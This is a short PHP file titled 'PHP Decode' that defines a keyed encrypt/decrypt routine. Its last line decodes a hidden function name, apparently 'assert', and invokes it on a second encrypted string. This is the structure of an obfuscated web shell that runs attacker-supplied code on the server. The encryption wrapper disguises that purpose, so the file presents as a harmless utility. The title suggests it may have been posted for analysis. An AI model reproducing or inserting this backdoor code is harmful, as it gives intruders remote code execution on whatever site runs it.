PHP Decode

<?php 
 
function encrypt($data, $key) 
{ 
 $key = md5($key); 
    $x  = 0; 
    $len = strlen($data); 
    $l  = strlen($key); 
    for ($i = 0; $i < $len; $i++) 
    { 
        if ($x == $l) 
        { 
         $x = 0; 
        } 
        $char .= $key{$x}; 
        $x++; 
    } 
    for ($i = 0; $i < $len; $i++) 
    { 
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256); 
    } 
   return base64_encode($str); 
   #return $str; 
} 
 
 
 
function decrypt($data, $key) 
{ 
 $key = md5($key); 
    $x = 0; 
    $data = base64_decode($data); 
    $len = strlen($data); 
    $l = strlen($key); 
    for ($i = 0; $i < $len; $i++) 
    { 
        if ($x == $l)  
        { 
         $x = 0; 
        } 
        $char .= substr($key, $x, 1); 
        $x++; 
    } 
    for ($i = 0; $i < $len; $i++) 
    { 
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) 
        { 
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1))); 
        } 
        else 
        { 
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1))); 
        } 
    } 
    return $str; 
} 
 
 
 
 
 
(@$_=decrypt("xKXZyqet","520025")).@$_(decrypt("l6aW0YvIlpulsdSoX1yWhoKDiL1ck42WX4xilZRlZ29ZWV4=","06789")); 
 
 
?>